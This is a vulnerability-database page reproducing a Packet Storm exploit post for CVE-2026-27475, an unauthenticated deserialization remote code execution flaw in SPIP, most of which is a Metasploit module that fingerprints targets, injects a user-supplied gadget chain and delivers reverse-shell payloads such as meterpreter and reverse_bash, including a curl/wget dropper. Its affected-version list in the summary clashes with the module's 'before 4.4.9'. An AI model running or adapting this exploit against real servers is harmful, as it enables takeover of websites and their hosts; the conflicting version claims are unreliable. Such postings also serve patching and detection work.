Lucene search
K

📄 SPIP Unauthenticated Remote Code Execution / Insecure Deserialization

🗓️ 24 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 142 Views

SPIP unauthenticated remote code execution via unsafe deserialization; affected versions include four point two before four point two one, four point one before four point one eight, and four point zero before four point zero ten.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-27475
19 Feb 202618:39
attackerkb
Information Security Automation
March Linux Patch Wednesday
30 Mar 202620:00
avleonov
Circl
CVE-2026-27475
19 Feb 202619:34
circl
CNNVD
SPIP 安全漏洞
19 Feb 202600:00
cnnvd
CVE
CVE-2026-27475
19 Feb 202618:39
cve
Cvelist
CVE-2026-27475 SPIP < 4.4.9 Insecure Deserialization
19 Feb 202618:39
cvelist
Debian
[SECURITY] [DSA 6155-1] spip security update
3 Mar 202610:30
debian
Debian CVE
CVE-2026-27475
19 Feb 202618:39
debiancve
Tenable Nessus
Debian dsa-6155 : spip - security update
5 Mar 202600:00
nessus
Tenable Nessus
Linux Distros Unpatched Vulnerability : CVE-2026-27475
19 Feb 202600:00
nessus
Rows per page
=============================================================================================================================================
    | # Title     : SPIP Unauthenticated Remote Code Execution via Insecure Deserialization                                                     |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : No standalone download available                                                                                            |
    =============================================================================================================================================
    
    [+] Summary    : A remote code execution vulnerability was identified in SPIP due to improper handling of user-supplied serialized data. 
                     The application fails to properly validate or restrict unsafe object deserialization, allowing an attacker to supply crafted input 
    				 that triggers unintended object instantiation and execution flow manipulation.
                     Under certain configurations, this issue may allow an unauthenticated remote attacker to execute arbitrary system commands on the affected server.
    
    Affected Versions
    
    SPIP 4.2.x prior to 4.2.1
    
    SPIP 4.1.x prior to 4.1.8
    
    SPIP 4.0.x prior to 4.0.10
    
    Any installation running a version earlier than the patched releases listed above is considered vulnerable.
    
    Fixed Versions
    
    The issue has been addressed in:
    
    SPIP 4.2.1 and later
    
    SPIP 4.1.8 and later
    
    SPIP 4.0.10 and later
    
    Administrators are strongly advised to upgrade to a patched version to mitigate the risk.
    
    [+] Successful exploitation could result in:
    
    Remote command execution
    
    Full compromise of the web server context
    
    Potential lateral movement within the hosting environment
    
    Administrators are advised to upgrade to the latest patched version of SPIP and ensure that deserialization of untrusted data is properly restricted or eliminated.
    
    [+] POC   : 
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'SPIP 4.4.8 and earlier Insecure Deserialization RCE',
            'Description' => %q{
              This module exploits an insecure deserialization vulnerability in SPIP
              versions before 4.4.9. The vulnerability exists in the public area through
              the table_valeur filter and the DATA iterator, which accept serialized data.
              
              NOTE: This module requires a valid gadget chain for SPIP 4.4.8. The included
              chains are EXAMPLES ONLY and will not work. Users must provide a real gadget
              chain via the GADGET_CHAIN option.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'indoushka'
            ],
            'References' => [
              ['CVE', '2026-27475'],
              ['URL', 'https://www.spip.net/fr_article6799.html']
            ],
            'Platform' => ['php', 'unix', 'linux'],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'Type' => :php_memory,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'php/meterpreter/reverse_tcp'
                  }
                }
              ],
              [
                'Unix Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                  }
                }
              ],
              [
                'Linux Dropper',
                {
                  'Platform' => 'linux',
                  'Arch' => [ARCH_X86, ARCH_X64],
                  'Type' => :linux_dropper,
                  'CmdStagerFlavor' => ['curl', 'wget'],
                  'DefaultOptions' => {
                    'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                  }
                }
              ]
            ],
            'DisclosureDate' => '2026-02-19',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The base path to SPIP installation', '/']),
            OptInt.new('ARTICLE_ID', [true, 'Article ID to use in the request', 1]),
            OptEnum.new('VECTOR', [true, 'Attack vector to use', 'DATA', ['DATA', 'table_valeur']]),
            OptString.new('GADGET_CHAIN', [false, 'REAL gadget chain (base64 encoded) - REQUIRED for RCE']),
            OptBool.new('ForceExploit', [false, 'Override check result', false]),
            OptString.new('DOMAIN', [false, 'Domain for OOB callback detection']),
            OptBool.new('SSL_VERIFY', [false, 'Verify SSL certificate', false]),
            OptInt.new('MAX_PAYLOAD_LENGTH', [true, 'Maximum allowed payload length', 4096]),
            OptString.new('BAD_CHARS', [false, 'Characters to avoid in payload (hex format)', "\x00\x0A\x0D\"'\\"])
          ]
        )
      end
      
      def gadget_chain_provided?
        !(datastore['GADGET_CHAIN'].nil? || datastore['GADGET_CHAIN'].empty?)
      end
      
      def domain_provided?
        !(datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?)
      end
      
      def build_params(payload_value)
        {
          'page' => 'article',
          'id_article' => datastore['ARTICLE_ID'].to_s,
          datastore['VECTOR'] => payload_value
        }
      end
      
      def vulnerable_version?(version)
        version < Rex::Version.new('4.4.9')
      end
      
      def check_result_vulnerable?(result)
        [CheckCode::Appears, CheckCode::Detected].include?(result)
      end
      
      def build_cmd_chain(cmd)
        unless gadget_chain_provided?
          fail_with(Failure::BadConfig, "GADGET_CHAIN is required for RCE")
        end
        
        base_chain = Rex::Text.decode_base64(datastore['GADGET_CHAIN'])
    
        if base_chain.include?('{{CMD}}')
          base_chain.gsub('{{CMD}}', cmd)
        elsif base_chain =~ /s:\d+:".*?"/
          if base_chain =~ /(s:\d+:")[^"]*(")/
            old_field = Regexp.last_match(0)
            new_field = "s:#{cmd.bytesize}:\"#{cmd}\""
            base_chain.sub(old_field, new_field)
          else
            base_chain
          end
        else
          base_chain
        end
      end
      
      def fingerprint_spip
        fingerprints = [
          { path: 'spip.php', pattern: /SPIP (\d+\.\d+\.\d+)/, has_capture: true },
          { path: 'ecrire/', pattern: /spip\.css/, has_capture: false },
          { path: 'spip.php?page=backend', pattern: /generator.*SPIP/i, has_capture: false },
          { path: 'local/config.txt', pattern: /SPIP/, has_capture: false }
        ]
    
        fingerprints.each do |fp|
          begin
            res = send_request_cgi({
              'method' => 'GET',
              'uri' => normalize_uri(target_uri.path, fp[:path]),
              'verify' => datastore['SSL_VERIFY']
            })
            
            next unless res
            
            if res.body.match(fp[:pattern])
              version = nil
              if fp[:has_capture] && res.body =~ fp[:pattern]
                version = Regexp.last_match(1)
              end
              
              return { detected: true, version: version, path: fp[:path] }
            end
          rescue Rex::ConnectionError, Rex::TimeoutError => e
            vprint_error("Fingerprint attempt failed for #{fp[:path]}: #{e.message}") if datastore['VERBOSE']
            next
          end
        end
        
        { detected: false }
      end
      
      def bad_chars_list
        if datastore['BAD_CHARS']
          datastore['BAD_CHARS'].chars
        else
          ["\x00", "\x0A", "\x0D", '"', "'", "\\"]
        end
      end
      
      def validate_payload(payload)
        max_length = datastore['MAX_PAYLOAD_LENGTH']
        
        if payload.length > max_length
          print_warning("Payload length (#{payload.length}) exceeds #{max_length} bytes")
          return false
        end
        
        bad_chars_list.each do |char|
          if payload.include?(char)
            print_warning("Payload contains bad character: #{char.inspect}")
            vprint_status("Payload: #{payload.unpack('H*').first}") if datastore['VERBOSE']
            return false
          end
        end
        
        true
      end
      
      def encode_for_url(payload)
        Rex::Text.uri_encode(payload, 'hex-normal')
      end
      
      def create_oob_payload
        return nil unless domain_provided?
        
        dns_id = Rex::Text.rand_text_alphanumeric(8)
        callback = "#{dns_id}.#{datastore['DOMAIN']}"
        
        if gadget_chain_provided?
          chain = Rex::Text.decode_base64(datastore['GADGET_CHAIN'])
          
          if chain.include?('{{OOB}}')
            chain.gsub('{{OOB}}', callback)
          elsif chain =~ /s:\d+:".*?"/
            if chain =~ /(s:\d+:")[^"]*(")/
              old_field = Regexp.last_match(0)
              new_field = "s:#{callback.bytesize}:\"#{callback}\""
              chain.sub(old_field, new_field)
            else
              nil
            end
          else
            nil
          end
        else
          nil
        end
      end
      
      def detect_oob_activity
        return false unless domain_provided?
        print_status("Check your DNS server for callback to #{datastore['DOMAIN']}")
        false
      end
      
      def send_exploit_request(params, method = 'GET')
        begin
          request_params = {
            'method' => method,
            'uri' => normalize_uri(target_uri.path, 'spip.php'),
            'timeout' => 20,
            'verify' => datastore['SSL_VERIFY']
          }
          
          if method == 'GET'
            request_params['vars_get'] = params
          else
            request_params['vars_post'] = params
          end
          
          send_request_cgi(request_params)  # returns Response or nil
          
        rescue Rex::ConnectionError, Rex::TimeoutError => e
          vprint_error("Request failed: #{e.message}")
          nil
        end
      end
      
      def execute_command(cmd, opts = {})
        gadget_chain = build_cmd_chain(cmd)
        params = build_params(gadget_chain)
        send_exploit_request(params, 'POST')
      end
      
      def execute_cmdstager_with_fallback
        flavors = target['CmdStagerFlavor']
        
        flavors.each do |flavor|
          begin
            print_status("Trying cmdstager flavor: #{flavor}")
            max_fragment = (datastore['MAX_PAYLOAD_LENGTH'] * 0.8).to_i
            
            execute_cmdstager(
              flavor: flavor.to_sym,
              linemax: max_fragment
            )
            
            return true
          rescue => e
            print_warning("Flavor #{flavor} failed: #{e.message}")
            next
          end
        end
        
        false
      end
      
      def check
        print_status("Fingerprinting SPIP installation...")
        
        fp_result = fingerprint_spip
        
        unless fp_result[:detected]
          return CheckCode::Unknown('Could not detect SPIP installation')
        end
        
        if fp_result[:version]
          print_good("Detected SPIP version: #{fp_result[:version]}")
          
          begin
            version = Rex::Version.new(fp_result[:version])
            if vulnerable_version?(version)
              result = CheckCode::Appears("Vulnerable SPIP version #{fp_result[:version]} detected")
              
              unless gadget_chain_provided?
                print_warning("GADGET_CHAIN is required for actual exploitation")
              else
                print_good("GADGET_CHAIN provided")
              end
              
              return result
            else
              return CheckCode::Safe("Patched SPIP version #{fp_result[:version]} detected")
            end
          rescue
            return CheckCode::Detected("SPIP detected at #{fp_result[:path]}, version unknown")
          end
        end
        
        CheckCode::Detected("SPIP detected at #{fp_result[:path]}")
      end
    
      def exploit
        check_result = check
        
        unless check_result_vulnerable?(check_result)
          print_warning("Target may not be vulnerable. Check result: #{check_result}")
          
          unless datastore['ForceExploit']
            fail_with(Failure::NoTarget, "Exploit aborted by user (use ForceExploit to override)")
          end
          
          print_status("ForceExploit enabled - continuing anyway...")
        end
        
        unless gadget_chain_provided?
          fail_with(Failure::BadConfig, "GADGET_CHAIN is required for RCE. No example chains included.")
        end
    
        if domain_provided?
          print_status("Attempting OOB detection...")
          oob_payload = create_oob_payload
          
          if oob_payload
            params = build_params(oob_payload)
            send_exploit_request(params, 'POST')
            print_status("OOB payload sent.")
            
            Rex.sleep(2)
            detect_oob_activity
          end
        end
    
        case target['Type']
        when :php_memory, :unix_cmd
          final_payload = payload.encoded
          gadget_chain = build_cmd_chain(final_payload)
          
          unless validate_payload(gadget_chain)
            fail_with(Failure::BadConfig, "Payload validation failed")
          end
    
          if gadget_chain.length > 2048
            print_status("Using POST for large payload (#{gadget_chain.length} bytes)")
            params = build_params(gadget_chain)
            send_exploit_request(params, 'POST')
          else
            print_status("Using GET for payload (#{gadget_chain.length} bytes)")
            encoded = encode_for_url(gadget_chain)
            params = build_params(encoded)
            send_exploit_request(params, 'GET')
          end
          
          print_status("Exploit sent. Waiting for session...")
          Rex.sleep(2)
          
        when :linux_dropper
          print_status("Using cmdstager for Linux dropper")
          
          unless execute_cmdstager_with_fallback
            fail_with(Failure::Unknown, "All cmdstager flavors failed")
          end
        end
        
      rescue Msf::Exploit::Failed => e
    
        print_error("Exploit failed: #{e.message}")
        raise e
      rescue => e
        print_error("Unexpected error: #{e.message}")
        print_error("Backtrace: #{e.backtrace.join("\n")}") if datastore['VERBOSE']
      end
    
      def on_new_session(client)
        print_good("Session successfully created!")
        super
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Feb 2026 00:00Current
7High risk
Vulners AI Score7
CVSS 3.18.1
CVSS 49.2
EPSS0.00193
SSVC
142